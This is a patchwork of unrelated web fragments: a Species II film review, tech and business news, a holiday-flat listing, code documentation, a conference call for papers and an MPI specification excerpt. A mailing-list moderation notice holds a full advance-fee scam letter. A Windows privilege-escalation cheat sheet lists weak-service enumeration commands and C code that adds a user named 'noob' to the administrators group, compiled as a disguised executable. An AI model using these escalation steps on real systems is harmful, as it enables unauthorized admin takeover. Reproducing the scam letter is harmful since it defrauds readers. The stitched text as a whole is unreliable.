Sex equals death. That's the cardinal rule of slasher movies, and it's in full effect in ``Species II,'' a worthless follow-up to the 1995 hit, which was notable primarily for the presence of the decidedly uninhibited Natasha Henstridge as an alien preying on the men of Earth.
Like the similarly ill-advised ``Grease 2,'' ``Species II'' uses the old sex-role reversal ploy to get its plot going. This time, the monster is male, an airheaded astronaut named Patrick Ross (Justin Lazard) who ends up infected with extraterrestrial DNA after strolling around on Mars. When Patrick whines about not feeling well, his politico father (James Cromwell, slumming) grouches, ``You think a trip to Mars was rough - try a Senate campaign!''
So what's Patrick to do but pick up scores of easy ladies and attempt to impregnate them with his otherworldly essence? Though considered a real looker by most of the females in his circle, Pat turns out to be considerably less attractive when he sprouts long, slimy gray tentacles during love-making.
Meanwhile back at the lab, crusading Dr. Laura Baker (Marg Helgenberger) has managed to create a docile knockout she calls Eve (Henstridge) from the genes of Sil, the troublemaker from the first film. Why Baker bothered to do this is never made clear, but eventually Eve picks up on Patrick's scent, goes into heat and escapes to find him. Wedding bells do not follow. Henstridge fans will be disappointed to learn her part in ``Species II'' is minimal and requires her to remain fully dressed almost all of the time.
Since most of the film's running time is taken up with scenes of exploding stomachs and splattering heads, we never find out how Patrick manages to dress and feed his scores of humanoid offspring, why a smart actor like Mykelti Williamson took the demeaning role of Patrick's sex-crazed buddy, or why, despite his enormous celebrity, only one woman in the entire vicinity of the Washington, D.C., area seems to recognize Patrick.
It's disappointing to see a skilled director like Peter Medak - who made ``The Krays'' and ``Let Him Have It,'' two of the best British films of the decade - wasting his time on this kind of tripe, although it should be noted he does give it some semblance of professionalism. The digital soundtrack is also highly effective, with each squish and crunch coming through loud and clear.
But what can be said about a movie that focuses largely on the struggle of government agents to keep ex-astronauts from having sex? Leave it to Dr. Baker: ``It's awful,'' she moans, prior to the slime-drenched finale. ``Just awful!''
James Sanford
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


{% endblock %}
{% block content %}
{% if not edit_form.valid_email %}
{% if not edit_form.has_email %}
{% trans 'You do not have permissions to edit anything. In order to be able to edit, you must first provide a valid email address.' %}
{% else %}
{% trans 'You do not have permissions to edit anything. In order to be able to edit, you must provide a valid email address, and validate it' %}
{% endif %}
{% else %}
{% trans 'Your email has been validated, so you can edit stuff!' %}
{% endif %}
{% endblock %}
{% block social %} {% endblock %}


NVIDIA Allegedly Prepping Mobile GeForce Turing SUPER Refresh For Q1 2020
by Brandon HillNVIDIA has already unleashed a "SUPER" refresh of its GeForce Turing family of desktop graphics processors across RTX and GTX product ranges. However, according to a new leak, NVIDIA is looking to extend the SUPER loving to its mobility GPUs in the opening months of 2020.
AMD announced its Navi-based Radeon RX 5500M GPUs for notebooks back in early October, and it's expected that there will be RX 5700M and RX 5300M offerings flanking it. To counter the threat from AMD, NVIDIA's SUPER refresh on the mobility side is expected to keep it in the driver's seat with respect to performance.
Inside information on this new GPU lineup comes from NotebookCheck, which indicates that there will be five SKUs available to its OEM partners:
- N18E-G3R -- NVIDIA GeForce RTX 2080M SUPER (8GB of GDDR6)
- N18E-G2R -- NVIDIA GeForce RTX 2070M SUPER (8GB of GDDR6)
- N18E-G1R -- NVIDIA GeForce RTX 2060M SUPER (8GB of GDDR6)
- N18P-G62 -- NVIDIA GeForce GTX 1660M SUPER (4GB of GDDR6)
- N18P-G61 -- NVIDIA GeForce GTX 1650M SUPER (4GB of GDDR6)
According to the leaked specs, all of the GPUs will feature GDDR6 memory along with slightly enhanced clock speeds compared to their "standard" counterparts and will ship by March 2020.
AMD is expected to have an upper hand with respect to pricing, and potentially with power efficiency with its 7nm Navi mobile processors, so this move was no doubt expected from NVIDIA. The first notebooks with the Radeon RX 5500M started shipping late last month, but we don't have any idea at the moment when its RX 5700M and RX 5300M counterparts will start shipping.
As for NVIDIA, it's quite possible that we may see the company talk about these new mobile GPUs at CES 2020, which is fast approaching in early January.


Open Food Facts
Sign-in
Search a product by name or brand:
Search
Scan a product barcode:
Scan
Sign-in
Username or e-mail address:
Password:
Sign-in
No account yet?
Create an account
Sign-out
Close
Parameters
Close
Back
Produit
Back
Search


Subnet calculator
Home
Network Address
Mask bits
Show columns:
Subnet address
Netmask
Range of addresses
Useable IPs
Hosts
Divide
Join
Subnet address
Netmask
Range of addresses
Useable IPs
Hosts
Divide
Join


As list administrator, your authorization is requested for the following mailing list posting: List<EMAIL_ADDRESS>From<EMAIL_ADDRESS>Subject: READ AND GET BACK Reason: Post by non-member to a members-only list At your convenience, visit: http://lists.si.UM/mailman/admindb/researchers to approve or deny the request.
SINCERE ASSOCIATE REQUIRED MR. WANG QIN HANG SENG BANK LTD. DES VOEUX RD. BRANCH, CENTRAL HONG KONG, HONK KONG. Dear Sir, Let me start by introducing myself. I am Mr. Wang Qin credit officer of the Hang Seng Bank Ltd. I have a concealed business suggestion for you. Before the U.S and Iraqi war our client General. Ibrahim Moussa who was with the Iraqi forces and also business man made a numbered fixed deposit for 18 calendar months, with a value of Twenty millions Five Hundred Thousand United State Dollars only in my branch. Upon maturity several notice was sent to him, even during the war early this year. Again after the war another notification was sent and still no response came from him. We later find out that the General and his family had been killed during the war in bomb blast that hit their home. After further investigation it was also discovered that Gen. Ibrahim Moussa did not declare any next of kin in his official papers including the paper work of his bank deposit. And he also confided in me the last time he was at my office that no one except me knew of his deposit in my bank. So, Twenty millions Five Hundred Thousand United State Dollars is still lying in my bank and no one will ever come forward to claim it. What bothers me most is that according to the to the laws of my country at the expiration 3 years the funds will revert to the ownership of the Hong Kong Government if nobody applies to claim the funds. Against this backdrop, my suggestion to you is that I will like you as a foreigner to stand as the next of kin to Gen. Ibrahim Moussa so that you will be able to receive his funds. WHAT IS TO BE DONE: I want you to know that I have had everything planned out so that we shall come out successful. I have contacted an attorney that will prepare the necessary document that will back you up as the next of kin to Gen. Ibrahim Moussa, all that is required from you at this stage is for you to provide me with your Full Names and Address so that the attorney can commence his job. After you have been made the next of kin, the attorney will also fill in for claims on your behalf and secure the necessary approval and letter of probate in your favor for the move of the funds to an account that will be provided by you. There is no risk involved at all in the matter as we are going adopt a legalized method and the attorney will prepare all the necessary documents. Please endeavor to observe utmost discretion in all matters concerning this issue. Once the funds have been transferred to your nominated bank account we shall share in the ratio of 70% for me, 25% for you and 5% for any expenses incurred during the course of this operation. Should you be interested please send me your full names, current residential address and I will provide you with more details of this operation. I will prefers you to reach me on this email below<EMAIL_ADDRESS>for security purpose. Your earliest response to this letter will be appreciated. Kind Regards Mr. Wang Qin ___________________________________________________________________________ Mail sent from WebMail service at PHP-Nuke Powered Site - http://yoursite.com
If you reply to this message, keeping the Subject: header intact, Mailman will discard the held message. Do this if the message is spam. If you reply to this message and include an Approved: header with the list password in it, the message will be approved for posting to the list. The Approved: header can also appear in the first line of the body of the reply.


Windows 10 x64 (18363.900)
_SYSTEM_POWER_STATE
PowerSystemUnspecified = 0n0
PowerSystemWorking = 0n1
PowerSystemSleeping1 = 0n2
PowerSystemSleeping2 = 0n3
PowerSystemSleeping3 = 0n4
PowerSystemHibernate = 0n5
PowerSystemShutdown = 0n6
PowerSystemMaximum = 0n7


...you can find the perfect holiday home for large and small families and every adventurous explorer!
ExploreDiscover your holiday home at the edge to the forest, just over the city of Bad Urach. Here, you can enjoy a breathtaking view of the famous castle ruin from your terrace with a bbq. This is undoubtly the ideal starting point for hiking or mountainbiking tours, as well as shopping trips to the Outletcity Metzingen. The historical city center of Bad Urach can be reached within ten minutes by foot.
We have collected various activities in and around the city of Bad Urach. Offering three train staions and great proximity to the most beautiful places of the Swabian Alb, Bad Urach is the ideal base for your holiday. Your holiday home offers activities for everyone: Shopping in one of Germany's largest outlentcenters in Metzingen, Hiking on the Albtrauf, exploring mystical caves, marvelous castles or ruines thereof. To conclude on a eventful day, Bad Urach offers numerous opportunities for relexation. To ease an overview for the countless choices for you, we have compiled a collection of offers. Of course, you can also just inform yourself in the holiday flat, as we provide up-to-date flyers and information materials. (Note that we cannot guarantee that the following websites all have an English version, don't hesitate to ask, if you have any questions.)
2 single and 2 double beds offer sleeping places for six persons. We offer a crib and a highchair on request.
There is a shower, a sink and a toilet in the bathroom.
In the new, fully equipped, kitchen you can cook delicious meals. A coffee machine ensures a perfect start in the day.
We offer to parking spots, free of charge.
You have cable television in the living room.
Of course we offer a free internet access.
Pets are welcome, if you inform us in advance!
Please only smoke on the terrace.
We charge 59 € for up to three persons with an addition of 10€ for every exceeding person. (Minimum stay of 2 nights.)
Please leave the flat clean-swept. If that is not the case, we charge additional cleaning expenses!


Web Development
Software Engineering
Information Security
Game Development
UX/UI Design
Linux
UX/UI Design
Something Else


utils.Index
Array of predecessors
return utils.toindex(_CAPI_DGLHeteroPredecessors(
self, int(etype), int(v)))
def successors(self, etype, v):
Return the successors of the node.
The edges.
preserve_nodes : bool
Indicates whether to preserve all nodes or not.
If true, keep the nodes which have no edge connected in the subgraph;
If false, all nodes without edge connected to it would be removed.
Returns
-------


Props
Props is short for "properties".
Components can store their own modifiable data as state rather than props.
Parent components control prop values and pass them down to their children. Hooks maintain this top down data flow.
Props input information into a react component from a parent via custom html attributes, eg
<CastComponent character="Gandalf" />
or
function MyComp(props) {
return (

To the {props.direction}

)}
ReactDOM.render(
<MyComp direction="top"/>,
...querySelector('#a')
)
ReactDOM.render(
<MyComp direction="bottom"/>,
...querySelector('#b')
)


Francois COLLIN
<EMAIL_ADDRESS>- manuscript: These.pdf
Supervisors:
Marie-Odile BANCAL, Pierre BANCAL,
John FOULKES
Sponsor: Arvalis
Grignon, the 27th of November 2018
(last update 2020-02-12))
Cobb, 1894: A comparable infection level by a disease on a crop does not lead to constant losses.
Ability of a plant or a crop to maintain performance,
fitness or a high quality characteristic in
the presence of expressed symptoms
, Ney et al. 2013
Ability of a plant or a crop to maintain performance,
fitness or a high quality characteristic in
the presence of expressed symptoms
, Ney et al. 2013
It is different from resistance or avoidance.
During Scenescence
Main causes of source/sink variations:
intolerance = Δ Y / Δ HAD;
tolerance = Δ Y / Δ HAD
In the case of a HADm reduction:
Late senescence, STB-tolerance trait:
Late senescence promoted by:
Slope: 0.12 mg/mg
Slope: 0.55 mg/mg
Wheat sink- or co-limited by sources; UK wheat breeding strategy reduced source limitation.
Questions: has the source/sink limitation been well assessed? Methods?
What about a E-tolerance?


WSDM ConvERSe is a full day workshop taking place on Friday, February 7, 2020 in conjunction with WSDM 2020 in Houston, Texas.
We invite quality research contributions, position and opinion papers addressing relevant challenges in the domain of eCommerce. We invite submission of papers and posters of two to ten pages (including references), representing original research, preliminary research results, proposals for new work, position and opinion papers. All submitted papers and posters will be single-blind and will be peer reviewed by an international program committee of researchers of high repute. Accepted submissions will be presented at the workshop.
Topics of interest include, but are not limited to:
In order to promote academic research in the eCommerce domain, we plan to accept a small number of high quality dataset contributions. These submissions should be accompanied by a clear and detailed description of the dataset, some potential questions and applications that arise from it. Preliminary empirical investigations conveying any insight about the data will increase the quality of the submission.
All papers will be peer reviewed (single-blind) by the program committee and judged by their relevance to the workshop, especially to the main themes identified above, and their potential to generate discussion. All submissions must be formatted according to the latest ACM SIG proceedings template available at http://www.acm.org/publications/proceedings-template (LaTeX users use sample-sigconf.tex as a template).
Submissions must describe work that is not previously published, not accepted for publication elsewhere, and not currently under review elsewhere. All submissions must be in English. Please note that at least one of the authors of each accepted paper must register for the workshop and present the paper in-person.
Submissions to WSDM ConvERSe should be made at https://easychair.org/conferences/?conf=converse20
The deadline for paper submission is December 15, 2019
| CFP - WSDM ConvERSe 2020.pdf |


Group by:
Continent
Population
GDP
Ø Partner Proximity
Size:
None
Population
GDP
Life Expectancy
Ø Partners Proximity
Sort:
Population
GDP
Life Expectancy
Ø Partners Proximity
Year:
Tooltips:
On
Off


SweetFreeStuff.com
///////////////////////////////////////////
Free Subscription to Autoweek Magazine
Posted: 06 Oct 2015 10:30 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
The post Free Subscription to Autoweek Magazine appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Subscription to Weight Watchers Magazine
Posted: 06 Oct 2015 10:09 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
Free 1 year subscription to Weight Watchers Magazine.
The post Free Subscription to Weight Watchers Magazine appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Orbit Gum at 7-Eleven
Posted: 06 Oct 2015 10:07 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
You will need to download their mobile app then go to the savings section
to redeem. Don’t push redeem until you are ready to use the coupon because
it’s only good for 15 minutes after that. Good through 10/11. Free Orbit
Gum at 7-Eleven
The post Free Orbit Gum at 7-Eleven appeared first on SweetFreeStuff.com.
///////////////////////////////////////////
FREE Medium Two-Topping Handmade Pan Pizza at Dominos (10/12 @ 3PM ET!)
Posted: 06 Oct 2015 10:00 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
This offer goes live Monday, October 12th at 3pm ET! THE FIRST 27,000
MLB.COM USERS TO ENTER THEIR MLB.COM ACCOUNTS at 3pm ET on 10/12 will
receive a code valid for a free medium two-topping handmade pan pizza.
The post FREE Medium Two-Topping Handmade Pan Pizza at Dominos (10/12 @ 3PM
ET!) appeared first on SweetFreeStuff.com.
///////////////////////////////////////////
Free Krispy Kreme Doughnut October 31st
Posted: 06 Oct 2015 10:00 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
Free doughnut at Krispy Kreme when you wear your Halloween costume in store
on October 31st.
The post Free Krispy Kreme Doughnut October 31st appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Always Underwear or Incontinence Liner and Pad Multi-Pack Sample
Posted: 06 Oct 2015 09:02 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
Free Always Underwear or Incontinence Liner and Pad Multi-Pack Sample
The post Free Always Underwear or Incontinence Liner and Pad Multi-Pack
Sample appeared first on SweetFreeStuff.com.
///////////////////////////////////////////
2 Free Vital4U Ginseng Energy Shot Samples
Posted: 06 Oct 2015 07:56 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
2 Free Vital4U Energy Samples
The post 2 Free Vital4U Ginseng Energy Shot Samples appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Sample of Truvia Natural Sweetener
Posted: 06 Oct 2015 07:03 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
The post Free Sample of Truvia Natural Sweetener appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Sample BioTrue Multi Purpose Solution
Posted: 06 Oct 2015 07:00 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
Select OPTI-FREE for what contact lens solution are you currently using.
The post Free Sample BioTrue Multi Purpose Solution appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free JO Personal Lubricant Sample
Posted: 06 Oct 2015 06:07 AM PDT
http://feedproxy.google.com/&


| Status | Scheduled Drive Time | Vehicle |
| Driver | {{formatted_drive_time}} | {{vehicle}} - {{msrp}}* |
1. First, check-in at the reception desk located in the Experience Center. Vehicle insurance is required to drive, but you don’t need to bring it with you.
2. Then the experience begins! A Smart Columbus Ambassador will introduce you to the vehicle you registered to drive and direct you on the route, while answering your questions about your vehicle and EVs in general. Feel free to bring a friend to ride along! Please note, children requiring a car seat are not permitted to ride.
3. After your drive, you will complete a quick post-drive survey to inform anonymized, cutting edge research on EV technology and adoption!
4. After your drive is complete, feel free to check out our highly interactive and educational exhibits on the future of smart mobility located in the Experience Center.


For now, the easiest way to install Gerbil is to do the following:
git clone https://github.com/jasonprogrammer/gerbil
nimble install
This should make the gerbil executable ready for use.
Now that we've installed Gerbil, we need to build the front-end files in the web/ directory.
Run:
cd web
nvm use && npm install && npm start
Next, open up another terminal window, navigate to the cloned directory, and run:
gerbil build && gerbil serve
If you see the following:
INFO Jester is making jokes at http://<IP_ADDRESS>:5000
Starting 50 threads
Listening on port 5000
then you should be able to open a browser, and navigate to http://localhost:5000 to browse the running site.
Once you've seen that the site is running, cancel the running process (<ctrl>-c) and let's create some content!
Next: How to add an article


$1D/29: Unused (was: Flag for disk change, drive 1) ROM-Reference: LDA $1D : $EC62 STA $1D : $EBBA Previous Page / Next Page


Mapping an array is to iterate over an array and, for every value, pass that value to a block and insert the return from the block into a new array. You're "mapping" the values of an array to a new array via a function (the block you passed to the Array).
So on to a practical example. Say you have an array of symbols, as well as a hash. For each symbol in the array, you want to look up that symbol in the hash and add the value from the hash to a new array. Without using the map method, the code would look something like this.
names = %w{ Alice Bob }
scores = { "Alice" => 100, "Bob", 75 }
scoreboard = []
names.each do |n|
scoreboard << scores[n]
end
Not very compact. Not very Ruby-like. So let me just show you how it looks when using map.
names = %w{ Alice Bob }
scores = { "Alice" => 100, "Bob", 75 }
scoreboard = names.map{ |n| scores[n] }


SEARCH FOR WEAK SERVICES CLI
1. See accesschk.exe page in Windows shell page
or
2. Commands for service permission check (wmic and icacls used)
icacls (>=Vista or up)
cacls (< XP)
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
Restart the Service
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Create and start binary with system privileges (need administrator privileges)
sc create <servicename> binpath= "<pathtobinaryexecutable>" DisplayName= <displayname>
sc start <servicename>
Code which add user noobto administrative group
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
int main ()
{
int i;
i = system("net localgroup administrators noob /add");
return 0;
}
Compile with
i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c


famafrench.FamaFrench¶
-
class
famafrench.
FamaFrench
(pickled_dir, runQuery, freqType, sortCharacsId, factorsId, mainCharacsId=None, runEstimation=False)[source]¶ Class providing tools for constructing and replicating datasets from Ken French’s online library via queries to CRSP, Compustat Fundamentals Annual, and other sources accessed through wrds-cloud.
-
runQuery
¶ Flag for choosing whether to query datafiles from wrds-cloud or import locally-pickled files.
- Type
-
freqType
¶ Observation frequency of the portfolios. Possible choices are
D
: dailyW
: weeklyM
: monthlyQ
: quarterly (3-months)A
: annual
- Type
-
sortCharacsId
¶ Names of the anomaly characteristics used for portfolio sorting. The list will contain one, two, or three elements. The order of the elements matters and should be consistent w/ the orders presented in Ken French’s online library. Possible choices are:
ME
: SizeBE
: Book equityBM
: Book-to-Market equityOP
: Operating ProfitabilityINV
: InvestmentEP
: Earnings/PriceCFP
: Cashflow/PriceDP
: Dividend Yield (i.e. Dividends/Price)PRIOR_2_12
: Prior (2-12) ReturnsPRIOR_1_1
: Prior (1-1) ReturnsPRIOR_60_13
: Prior (13-60) ReturnsAC
: AccrualsBETA
: Market Beta (estimated using the Scholes-Williams (1977) methodology)VAR
: Variance (Daily and calculated using last 60 days (w/ 20 minimum)RESVAR
: Fama-French Three-factor model Residual Variance (Daily and calculated using last 60 days (w/ 20 minimum)NI
: Net Share Issues
-
factorsId
¶ Names of the anomaly/risk-based factors following Fama and French (1992, 1993, 2008, 2015, 2017). Possible choices are:
MKT-RF
: Market premiumSMB
: Small Minus BigHML
: High Minus LowRMW
: Robust Minus WeakRMWc
: Cash-based Robust Minus Weak (Todo)CMA
: Conservative Minus AggressiveMOM
: Momentum - based on Prior (2-12) returnsST_Rev
: Short-Term Reversal - based on Prior (1-1) returnsLT_Rev
: Long-Term Reversal - based on Prior (13-60) returns
-
mainCharacsId
¶ Names of the anomaly characteristics computed as averages for each portfolio bucket and constructed using the list
sortCharacsId
. If None,mainCharacsI
is set to the listsortCharacsId
.
-
runEstimation
¶ Flag for choosing whether to run any estimation procedures for the first time/re-estimate procedures by querying wrds-cloud datafiles or import locally-pickled files storing existing estimates.
- Type
bool, default False
-
(Auxiliary) Methods/Attributes
Query Compustat Fundamentals Annual files from wrds-cloud. |
|
Query CRSP Stock/Security files from wrds-cloud. |
|
Query CRSP’s Stock Event - Delisting files on wrds-cloud. |
|
Query the risk-free interest rate (ie 1-month Treasury Bill rate) from wrds-cloud. |
|
Calculate rolling daily variance of stock returns for all CRSP stocks queried from wrds-cloud. |
|
Aggregate market value of equity me for cases in which the same firm (ie single permco identifer) has two or more securities (ie multiple permno identifiers) for a given date. |
|
Construct market value of equity me for Decemeber of every year. |
|
Construct market value of equity me for June of every year. |
|
Query the CRSP/Compustat (CCM) Merged Linking Table needed to merge CRSP securities to Compustat companies on (permno, gvkey) identifier pairs. |
|
Estimate factor-based quantities of risk (specifically, market betas) as well as residuals using rolling regressions. |
Primary Methods/Attributes
Select NYSE stocks used in the construction of breakpoints (ie thresholds) for portfolio sorting. |
|
Generalized routine used to construct datasets containing portfolio returns (which may include factor returns), number of firms in each portfolio, or average anomaly portfolio characteristics at a given frequency and for a given sample period. |
|
Construct dataset w/ portfolio returns (which may include factor returns) at a given frequency and for a given sample period. |
|
Construct dataset w/ number of firms in each portfolio at a given frequency and for a given sample period. |
|
Construct average anomaly portfolio characteristics at a given frequency and for a given sample period. |
|
Construct dataset w/ Fama-French-style factors at a given frequency and for a given sample period. |
|
Detailed summary statistics tables of portfolio returns (which may include factor returns), number of firms in each portfolio, or average anomaly portfolio characteristics at a given frequency and for a given sample period. |
|
Generalized routine used to query datasets from Ken French’s online library at a given frequency and for a given sample period. |
|
Query portfolio returns from Ken French’s online library at a given frequency and for a given sample period. |
|
Query number of firms in each portfolio from Ken French’s online data library at a given frequency and for a given sample period. |
|
Query average anomaly portfolio characteristics from Ken French’s online library at a given frequency and for a given sample period. |
|
Query Fama-French-style factors from Ken French’s online library at a given frequency and for a given sample period. |
|
Generalized routine used to compare datasets constructed from wrds-cloud queries to their equivalents made publicly available on Ken French’s online library at a given frequency and for a given sample period. |


Company behind €173m Ringaskiddy incinerator make 12% increase on pre-tax profits
by By Gordon DeeganPre-tax profits at the Irish arm of the Belgian company that has secured planning for a new €173m incinerator at Ringaskiddy last year increased by 12% to €12.8m.
In May of last year, Indaver Ireland Ltd secured planning permission for the Cork waste to energy facility to treat up to 240,000 tonnes per annum of waste.
New accounts filed by Indaver Ireland Ltd show that its waste business here is already very profitable.
The pre-tax profits of €12.8m follow pre-tax profits of €11.77m in 2017.
The firm recorded the increase in profits as revenues increased marginally from €77.27m to €77.84m last year.
Construction of the company’s incinerator at Duleek in Co Meath commenced in 2008 and Indaver commenced operations of its incinerator in September 2011.
Indaver has stated that the Cork facility will provide 320 jobs during construction and 63 when operational.
The firm employs 172 in Ireland and staff costs last year increased from €10.1m to €10.42m. Directors were last year paid €632,224.
The directors state that the local community fund associated with the waste to energy facility in Carranstown, Co Meath continues to grow in line with the performance of the facility and the payment last year totalled €288,451.
The profit last year takes account of hefty non-cash depreciation costs of €8.3m.
Total shareholder funds at Indaver Ireland stood at €171m that included accumulated profits of €31.39m.
The firm last year recorded post-tax profits of €11.1m after paying corporation tax of €1.6m.


Apple
Banana
Grape
Kiwi
The select list above has all options selected - which one will the browser apply?


Sign in with Facebook
Sign in with Google
Shapes
Add Rectangle
Add Circle
Change Color
Delete
Clear
Save
{{file.name}}
Load
×


Preview of the document:
×
Please visit the
project page
on GitHub for details about this extension.


Assam govt has urged Centre to reject current NRC: Himanta Biswa Sarma
by PTIAssam Finance Minister Himanta Biswa Sarma on November 20 said the State government has requested the Centre to reject the recently published National Register of Citizens (NRC).
Addressing a press conference in Guwahati, the senior BJP leader said even the party has urged Union Home Minster Amit Shah to dismiss the NRC in the current form.
“The Assam government has not accepted the NRC. Government of Assam and BJP have requested the Home Minister to reject the NRC,” he added.
Mr. Sarma said the State government favoured one national NRC with one cut-off year for the entire country.
“If the cut-off year is 1971, then it should be the same for all States... We are not asking to scrap the Assam Accord,” he added.
Strongly criticising the earlier NRC State Coordinator Prateek Hajela, the Minister alleged that the entire exercise of updation was carried out keeping aside the State government.
“But the entire nation thinks that NRC was updated by the Assam government. We are bearing the brunt because of one individual. We are concerned with the flaws in the system.
“The way Hajela ran the show under a different eco-system, it has created a multiple layer of questions. As a public representative, we are unable to answer them now,” Mr. Sarma said.


|
Intel(R) Threading Building Blocks Doxygen Documentation
version 4.2.3
|
Provides default splitting strategy for partition objects. More...
#include <partitioner.h>
Public Types | |
| typedef Partition | my_partition |
Public Member Functions | |
| adaptive_mode () | |
| adaptive_mode (adaptive_mode &src, split) | |
| size_t | do_split (adaptive_mode &src, split) |
| Public Member Functions inherited from tbb::internal::partition_type_base< Partition > | |
| void | set_affinity (task &) |
| void | note_affinity (task::affinity_id) |
| task * | continue_after_execute_range () |
| bool | decide_whether_to_delay () |
| void | spawn_or_delay (bool, task &b) |
Public Attributes | |
| size_t | my_divisor |
Static Public Attributes | |
| static const unsigned | factor = 1 |
Provides default splitting strategy for partition objects.
Definition at line 282 of file partitioner.h.
| typedef Partition tbb::interface9::internal::adaptive_mode< Partition >::my_partition |
Definition at line 283 of file partitioner.h.
|
inline |
Definition at line 290 of file partitioner.h.
|
inline |
Definition at line 291 of file partitioner.h.
|
inline |
Override do_split methods in order to specify splitting strategy
Definition at line 293 of file partitioner.h.
|
static |
Definition at line 289 of file partitioner.h.
| size_t tbb::interface9::internal::adaptive_mode< Partition >::my_divisor |
Definition at line 284 of file partitioner.h.
Referenced by tbb::interface9::internal::adaptive_mode< static_partition_type >::do_split(), and tbb::interface9::internal::proportional_mode< static_partition_type >::do_split().


Vue.js Newsletter - previous issues:
Issue #9 (SEPTEMBER 13)
Issue #8 (SEPTEMBER 6)
Issue #7 (AUGUST 30)
Issue #6 (AUGUST 23)
Issue #5 (AUGUST 16)
Issue #4 (AUGUST 9)
Issue #3 (AUGUST 2)
Issue #2 (JULY 26)
Issue #1 (JULY 20)
Created by
@damiandulisz
and
@venticco
. Proudly supported by
@monterail
.


Hover over the circular dot clusters to hear sound. Click to see pictures.
Professor Carlos Guedes's "Designing Sound for Scene and Screen" class traveled to Sir Bani Yas Island, home to the UAE's largest wildlife preserve. The reserve was founded in 1977 by HH Sheikh Zayed Bin Sultan Al Nahyan. The trip was part of a location recording exercise for the class. It recorded a plethora of free roaming animals and birds at different locations across the 87 km2 (34 sq mi) island with the help of biologist Bilal Kabeer.


Backend
Promotion :
Debut :
Fin :
rabais :
return
Delete the promotion
Delete promotion
×
Are you sure to delte the promotion ?


This site is a work in progress. If you have any feedback to offer regarding your experience using it, please drop us a line
Contact Us


--- layout: default title: empty permalink: /empty headerclass: standard headerbg_scalable: platzhalter h1: empty photograph: Julian photograph_link: https://www.instagram.com/derjulian33/ obj_position: 50% 50% ---


This section specifies the requirements of a C++ profiling interface to MPI.
Advice
to implementors.
Since the main goal of profiling is to intercept function calls from user code, it is the implementor's decision how to layer the underlying implementation to allow function calls to be intercepted and profiled. If an implementation of the MPI C++ bindings is layered on top of MPI bindings in another language (such as C), or if the C++ bindings are layered on top of a profiling interface in another language, no extra profiling interface is necessary because the underlying MPI implementation already meets the MPI profiling interface requirements.
Native C++ MPI implementations that do not have access to other profiling interfaces must implement an interface that meets the requirements outlined in this section.
High-quality implementations can implement the interface outlined in
this section in order to promote portable C++ profiling libraries.
Implementors may wish to provide an option whether to build the C++
profiling interface or not; C++ implementations that are already
layered on top of bindings in another language or another profiling
interface will have to insert a third layer to implement the C++
profiling interface.
( End of advice to implementors.)
To meet the requirements of the C++ MPI profiling interface, an
implementation of the MPI functions must:
2. Ensure that those MPI functions which are not replaced may
still be linked into an executable image without causing name
clashes.
3. Document the implementation of different language bindings of
the MPI interface if they are layered on top of each other, so
that profiler developer knows whether they must implement the
profile interface for each binding, or can economize by implementing
it only for the lowest level routines.
4. Where the implementation of different language bindings
is
done through a layered approach (e.g., the C++ binding is a set of
``wrapper'' functions which call the C implementation), ensure that
these wrapper functions are separable from the rest of the library.
This is necessary to allow a separate profiling library to be correctly implemented, since (at least with Unix linker semantics) the profiling library must contain these wrapper functions if it is to perform as expected. This requirement allows the author of the profiling library to extract these functions from the original MPI library and add them into the profiling library without bringing along any other unnecessary code.
5. Provide a no-op routine MPI::Pcontrol in the MPI
library.
Advice
to implementors.
There are (at least) two apparent options for implementing the C++ profiling interface: inheritance or caching. An inheritance-based approach may not be attractive because it may require a virtual inheritance implementation of the communicator classes. Thus, it is most likely that implementors will cache PMPI objects on their corresponding MPI objects. The caching scheme is outlined below.
The ``real'' entry points to each routine can be provided within a namespace PMPI. The non-profiling version can then be provided within a namespace MPI.
Caching instances of PMPI objects in the MPI handles provides the ``has a'' relationship that is necessary to implement the profiling scheme.
Each instance of an MPI object simply ``wraps up'' an instance of a PMPI object. MPI objects can then perform profiling actions before invoking the corresponding function in their internal PMPI object.
The key to making the profiling work by simply re-linking programs is by having a header file that declares all the MPI functions. The functions must be defined elsewhere, and compiled into a library. MPI constants should be declared extern in the MPI namespace. For example, the following is an excerpt from a sample mpi.h file:
Example
Sample mpi.h file.
namespace PMPI { class Comm { public: int Get_size() const; }; // etc. }; namespace MPI { public: class Comm { public: int Get_size() const; private: PMPI::Comm pmpi_comm; }; };
Note that all constructors, the assignment operator, and the destructor in the MPI class will need to initialize/destroy the internal PMPI object as appropriate.
The definitions of the functions must be in separate object files; the PMPI class member functions and the non-profiling versions of the MPI class member functions can be compiled into libmpi.a, while the profiling versions can be compiled into libpmpi.a. Note that the PMPI class member functions and the MPI constants must be in different object files than the non-profiling MPI class member functions in the libmpi.a library to prevent multiple definitions of MPI class member function names when linking both libmpi.a and libpmpi.a. For example:
Example
pmpi.cc, to be compiled into libmpi.a.
int PMPI::Comm::Get_size() const { // Implementation of MPI_COMM_SIZE }
Example
